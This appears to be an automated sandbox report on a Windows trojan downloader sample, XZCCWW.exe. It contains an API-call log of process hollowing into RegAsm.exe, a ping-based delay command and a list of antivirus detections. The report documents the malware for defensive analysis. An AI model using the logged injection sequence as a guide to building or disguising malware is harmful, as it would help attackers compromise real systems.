NtGetContextThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000470	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000470 suspend_count: 1 process_identifier: 2536	1	0
CreateProcessInternalW May 6, 2025, 10:14 p.m.	thread_identifier: 2768 thread_handle: 0x00000254 process_identifier: 2764 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe stack_pivoted: 0 creation_flags: 12 (CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x0000027c	1	1
NtGetContextThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000254	1	0
NtAllocateVirtualMemory May 6, 2025, 10:14 p.m.	process_identifier: 2764 region_size: 3432448 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000027c	1	0
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL¤1hàä34 @ `4@Ð4K 4¾ @4 H.text$ã3 ä3 `.rsrc¾ 4æ3@@.reloc@4ò3@B base_address: 0x00400000 process_identifier: 2764 process_handle: 0x0000027c	1	1
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: base_address: 0x00402000 process_identifier: 2764 process_handle: 0x0000027c	1	1
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: 8Ph 4¼#44VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°\|StringFileInfoX000004b0Comments"CompanyNameFFileDescriptionBlueOne Client,FileVersion1.0.06InternalNameClient.exePLegalCopyrightCopyright © Java 2025LegalTrademarks>OriginalFilenameClient.exe0ProductNameBlueOne0ProductVersion1.0.08Assembly Version1.0.0.0ï»¿<?xml version="1.0" encoding="utf-8"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> <application> <!-- Windows Vista --> <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/> <!-- Windows 7 --> <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/> <!-- Windows 8 --> <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/> <!-- Windows 8.1 --> <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/> <!-- Windows 10 --> <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/> </application> </compatibility> <application xmlns="urn:schemas-microsoft-com:asm.v3"> <windowsSettings> <dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true/pm</dpiAware> <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness> <longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware> </windowsSettings> </application> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> </assembly> base_address: 0x00742000 process_identifier: 2764 process_handle: 0x0000027c	1	1
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: 4 3 base_address: 0x00744000 process_identifier: 2764 process_handle: 0x0000027c	1	1
WriteProcessMemory May 6, 2025, 10:14 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2764 process_handle: 0x0000027c	1	1
NtSetContextThread May 6, 2025, 10:14 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 7602974 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000254 process_identifier: 2764	1	0
NtResumeThread May 6, 2025, 10:14 p.m.	thread_handle: 0x00000254 suspend_count: 1 process_identifier: 2764	1	0
CreateProcessInternalW May 6, 2025, 10:15 p.m.	thread_identifier: 1336 thread_handle: 0x00000088 process_identifier: 1356 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\chcp.com track: 1 command_line: chcp 65001 filepath_r: C:\Windows\system32\chcp.com stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1
CreateProcessInternalW May 6, 2025, 10:15 p.m.	thread_identifier: 320 thread_handle: 0x00000088 process_identifier: 2172 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\PING.EXE track: 1 command_line: ping -n 10 localhost filepath_r: C:\Windows\system32\PING.EXE stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW May 6, 2025, 10:15 p.m.	thread_identifier: 2820 thread_handle: 0x00000084 process_identifier: 2808 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe stack_pivoted: 0 creation_flags: 525328 (CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
NtResumeThread May 6, 2025, 10:15 p.m.	thread_handle: 0x00000084 suspend_count: 0 process_identifier: 2808	1	0
NtResumeThread May 6, 2025, 10:15 p.m.	thread_handle: 0x00000180 suspend_count: 1 process_identifier: 2808	1	0
NtResumeThread May 6, 2025, 10:15 p.m.	thread_handle: 0x000001f4 suspend_count: 1 process_identifier: 2808	1	0
NtResumeThread May 6, 2025, 10:15 p.m.	thread_handle: 0x00000238 suspend_count: 1 process_identifier: 2808	1	0

File has been identified by 45 AntiVirus engines on VirusTotal as malicious (45 events)

Bkav	W32.AIDetectMalware.CS
CAT-QuickHeal	Trojan.Generic
Skyhigh	BehavesLike.Win32.Generic.kh
ALYac	Gen:Variant.MSILHeracles.222351
Cylance	Unsafe
VIPRE	Gen:Variant.MSILHeracles.222351
Sangfor	Suspicious.Win32.Save.a
CrowdStrike	win/malicious_confidence_100% (W)
BitDefender	Gen:Variant.MSILHeracles.222351
K7GW	Trojan-Downloader ( 005c66201 )
K7AntiVirus	Trojan-Downloader ( 005c66201 )
Arcabit	Trojan.MSILHeracles.D3648F
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/TrojanDownloader.Agent.RYW
APEX	Malicious
Avast	Win32:MalwareX-gen [Drp]
Kaspersky	HEUR:Trojan.Win32.Generic
Alibaba	Trojan:MSIL/Generic.4133f66d
MicroWorld-eScan	Gen:Variant.MSILHeracles.222351
Rising	Downloader.Agent!8.B23 (CLOUD)
Emsisoft	Gen:Variant.MSILHeracles.222351 (B)
F-Secure	Trojan.TR/Dldr.Agent.pzfjc
McAfeeD	Real Protect-LS!0E683D747BA5
Trapmine	malicious.high.ml.score
CTX	exe.trojan.msil
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
Google	Detected
Avira	TR/Dldr.Agent.pzfjc
Antiy-AVL	GrayWare/Win32.Wacapew
Kingsoft	malware.kb.c.986
Gridinsoft	Trojan.Heur!.030130A1
Microsoft	Trojan:Win32/Kepavll!rfn
GData	Gen:Variant.MSILHeracles.222351
Varist	W32/MSIL_Troj.C.gen!Eldorado
McAfee	Artemis!0E683D747BA5
DeepInstinct	MALICIOUS
VBA32	CIL.HeapOverride.Heur
Malwarebytes	Generic.Malware/Suspicious
Ikarus	Packed.Win32.Crypt
TrendMicro-HouseCall	TROJ_GEN.R002H07E225
Tencent	Msil.Trojan-Downloader.Ader.Xtjl
Fortinet	MSIL/Agent.RYW!tr.dldr
AVG	Win32:MalwareX-gen [Drp]

XZCCWW.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All